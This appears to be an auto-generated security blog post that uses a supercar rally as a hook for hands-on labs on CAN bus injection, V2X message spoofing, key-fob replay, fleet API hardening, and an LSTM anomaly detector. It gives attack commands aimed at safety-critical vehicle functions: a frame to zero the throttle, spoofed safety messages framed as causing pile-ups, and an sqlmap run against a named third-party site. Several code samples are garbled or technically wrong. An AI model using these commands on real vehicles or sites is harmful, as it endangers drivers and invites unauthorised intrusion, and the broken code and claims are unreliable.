Dodgeball Rally Hack: Why Supercar Telematics Are the New Attack Surface for Critical Infrastructure Breaches + Video

By /

Listen to this Post

Featured Image

Introduction:

The 2026 Dodgeball Supercar Rally – a glamorous convoy of Lamborghinis, Ferraris, and Koenigseggs racing from Milan to Barcelona – is more than a billionaire’s playground. Beneath the carbon fibre and V12 roar lies a dense network of telematics, GPS tracking, V2X communication, and cloud-based fleet management systems. When these connected supercars cross international borders, their onboard systems become a mobile attack surface capable of exposing vulnerabilities in roadside infrastructure, smart city grids, and even national transportation networks. This article dissects the cybersecurity, IT, AI, and training implications hidden within high‑speed automotive events, providing hands‑on labs to harden these environments.

Learning Objectives:

  • Identify and exploit common vulnerabilities in automotive telematics (CAN bus, OBD‑II, V2X) using open‑source tools.
  • Implement cloud hardening for real‑time vehicle tracking APIs and edge computing nodes in a rally fleet.
  • Train AI models to detect anomalous driving patterns and cyber‑physical attacks in connected vehicle fleets.

You Should Know:

  1. Sniffing CAN Bus Traffic from a Supercar’s OBD‑II Port

The modern supercar (e.g., Lamborghini Huracán Evo) broadcasts engine RPM, throttle position, brake pressure, and even GPS coordinates over the Controller Area Network (CAN) bus. An attacker with physical access to the OBD‑II port – or a compromised telematics control unit – can inject malicious frames to disable brakes or manipulate steering.

Step‑by‑step guide (Linux – use on your own vehicle or lab):

  1. Identify the CAN interface using ip link show. Most USB‑to‑CAN adapters appear as can0.
  2. Bring up the interface with bitrate 500000 (common for powertrain CAN): 
    sudo ip link set can0 up type can bitrate 500000

3. Capture live traffic with `candump`:

candump can0

4. Record and replay a specific CAN ID (e.g., 0x1A2 for throttle) using canplayer:

candump -l can0  saves to candump.log
canplayer -I candump.log

5. Inject a malicious frame (change throttle to zero while accelerating):

cansend can0 1A20000000000000000

Windows alternative (using Vector CANdb++ or PCAN‑View):

  • Install PCAN‑View, select your CAN hardware, set baud rate to 500 kbit/s.
  • Use `Transmit` to send custom frames. For scripted attacks, use the Python `python‑can` library with interface='pcan'.

Mitigation: Enable CAN message authentication (e.g., MACsec over CAN‑XL) and segment critical ECUs behind a secure gateway.

2. Cloud Hardening for Real‑Time Fleet Telematics APIs

Each supercar in the Dodgeball Rally streams telemetry to a central cloud platform (e.g., AWS IoT Core or Azure Vehicle Insights). Unsecured APIs can leak live positions, driver identities, and even allow remote command injection.

Step‑by‑step guide (API security & cloud hardening):

  1. Test for API key leakage in the telemetry endpoint. Use `curl` to simulate a request: 
    curl -X GET "https://api.rallytelematics.com/v1/vehicles/status?vehicle_id=SF90_001" -H "X-API-Key: YOUR_KEY"
  2. Enforce rate limiting and JWT validation on the API gateway (AWS example): 
    policy to reject tokens without "rally_admin" claim
{
"Effect": "Deny",
"Condition": {"StringNotEquals": {"cognito:groups": "rally_admin"}}
}
  3. Harden IoT device shadows – disable wildcard MQTT subscriptions and use strict topic filters: 
    Deny subscribe to telemetry/
aws iot attach-policy --policy-name strict_topic_filter --target "arn:aws:iot:region:account:thing/SF90_001"
  4. Implement mutual TLS (mTLS) for OTA updates. Generate client certificates: 
    openssl req -new -key vehicle_private.pem -out vehicle.csr
sign with CA and verify:
openssl verify -CAfile ca.crt vehicle.crt
  5. Automatically rotate API keys every 6 hours using AWS Secrets Manager + Lambda.

3. AI‑Based Anomaly Detection for Connected Vehicle Fleets

A rally fleet generates terabytes of time‑series data. Supervised and unsupervised learning can detect a compromised ECU (e.g., sudden false brake pressure spikes caused by a CAN injection attack). Train an LSTM autoencoder on normal driving patterns from the Monaco‑Croatia route.

Step‑by‑step tutorial (Python on Linux/Windows):

  1. Collect normal telemetry (speed, steering angle, brake torque) into a CSV: 
    import pandas as pd
df = pd.read_csv('normal_telemetry.csv')
features = ['speed_kmh', 'steering_angle', 'brake_pressure']

2. Normalise and reshape for LSTM:

from sklearn.preprocessing import MinMaxScaler
scaler = MinMaxScaler()
scaled = scaler.fit_transform(df[bash])
 create sliding windows of 50 time steps
X_train = create_sequences(scaled, seq_length=50)

3. Train autoencoder (TensorFlow/Keras):

from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import LSTM, Dense, RepeatVector, TimeDistributed
model = Sequential([
LSTM(64, activation='relu', input_shape=(50, 3)),
RepeatVector(50),
LSTM(64, activation='relu', return_sequences=True),
TimeDistributed(Dense(3))
])
model.compile(optimizer='adam', loss='mse')
model.fit(X_train, X_train, epochs=50, batch_size=32)

4. Detect anomalies by reconstruction error (threshold = 95th percentile of training errors):

reconstruction = model.predict(X_test)
mse = np.mean(np.square(X_test - reconstruction), axis=(1,2))
anomalies = mse > np.percentile(train_errors, 95)

4. V2X (Vehicle‑to‑Everything) Spoofing & Mitigation

Rally cars communicate with roadside units (RSUs) for tolling, hazard warnings, and traffic light priority. An attacker with a software‑defined radio (SDR) can spoof basic safety messages (BSMs) to cause pile‑ups or green‑light denial.

Step‑by‑step guide (Linux with HackRF or LimeSDR):

  1. Capture live V2X (DSRC 5.9 GHz) packets using `rltl_433` or `scapy` with a DSRC‑capable SDR: 
    sudo rtl_433 -f 5890M -s 2.4M
  2. Craft and replay a spoofed BSM (example using Python `scapy` with `automotive` module): 
    from scapy.all import 
from automotive.dsrc import BSM, DSRC
pkt = BSM(
msgCount=1,
id=0xDEADBEEF,
secMark=1000,
position_lat=43.7431,  false position (Monaco harbour)
position_long=7.4278,
speed=120,  km/h, false
heading=270
)
sendp(DSRC(data=pkt), iface="wlan0mon")
  3. Mitigate by using secure V2X with IEEE 1609.2 certificates. Deploy a PKI that signs each BSM and verify with: 
    openssl dgst -verify v2x_ca.pub -signature bsm.sig bsm.bin

  4. Training Course: “Automotive Red Team – From Supercar Hacks to Smart City Defence”

Leverage the Dodgeball Rally scenario to build a 5‑day certification course covering:
– Day 1: CAN bus reverse engineering (using `cangaroo` and socketcan)
– Day 2: Telematics API pentesting (Postman, Burp Suite, OWASP API Top 10)
– Day 3: AI‑driven intrusion detection for fleets (LSTM, random forest)
– Day 4: SDR‑based V2X spoofing and secure certificate enrolment
– Day 5: Cloud‑edge hardening (AWS IoT Greengrass, Azure Sphere)

Windows commands for the lab environment:

 Launch WSL2 with CAN passthrough
wsl --install -d Ubuntu-22.04
 In Windows Terminal, install Python-can for PCAN
pip install python-can
 List available CAN interfaces
python -c "import can; print(can.interfaces())"
  1. Vulnerability Exploitation – Remote Keyless Entry Replay Attack

Many supercars (Ferrari 812 GTS, Maserati MC20) use rolling codes that can be captured and replayed before the counter advances. Use a Proxmark3 or Flipper Zero.

Step‑by‑step (Linux with RTL‑SDR and GQRX):

  1. Tune to 315 MHz or 433 MHz (common key fob frequencies): 
    rtl_433 -f 433920000 -s 2048k -X "n=keyfob,m=OOK_PWM,s=500,l=1500,r=10000"
  2. Save the captured rolling code and replay it immediately (within the window): 
    rtl_433 -F csv -f 433.92M -t 10 | grep -i "ferrari"
replay using HackRF:
hackrf_transfer -t replay.iq -f 433920000 -a 1 -x 20

    Mitigation: Upgrade to UWB (ultra‑wideband) with distance bounding – e.g., NXP’s NCJ29D5.

  3. API Security for Rally Booking & Logistics Platforms

The linked article’s URL (`https://lnkd.in/e_TCjZ4b`) shortens to a Robb Report page. Attackers often target such third‑party booking portals to extract VIP attendee lists or inject malicious redirects.

Step‑by‑step API pentest (Windows/Linux using Burp Suite Community):

  1. Set up Burp proxy on 127.0.0.1:8080, install CA certificate on your browser.
  2. Enable “Engagement tools → Discover content” to find hidden endpoints like `/api/v1/attendees` or /rally/2026/bookings.

3. Fuzz parameters for SQL injection using `sqlmap`:

sqlmap -u "https://api.robbreport.com/rally/details?id=101" --dbs --batch

4. Test for IDOR (Insecure Direct Object Reference). Change `attendee_id=1` to `2` and see if another participant’s private data leaks.
5. Hardening – implement object‑level authorization checks on every API call, never trust client‑side IDs.

What Undercode Say:

  • Key Takeaway 1: Connected supercar rallies are not just luxury events – they are live laboratories for automotive cyber‑physical attacks, from CAN injection to V2X spoofing.
  • Key Takeaway 2: Defending a modern fleet requires a fusion of hardware security (secure gateways, mTLS), AI‑driven anomaly detection, and continuous cloud API hardening.

Prediction: By 2028, high‑profile automotive events like the Dodgeball Rally will be prime targets for state‑sponsored threat actors seeking to test zero‑day exploits on cross‑border telematics infrastructure. The same attack techniques used to disable a Lamborghini’s brakes will be re‑purposed for semi‑autonomous convoy trucks, leading to regulatory mandates for in‑vehicle IDS and real‑time incident response platforms. Expect the rise of “automotive red team as a service” and mandatory AI security training for fleet engineers.

▶️ Related Video (78% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Andrew Bogle – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: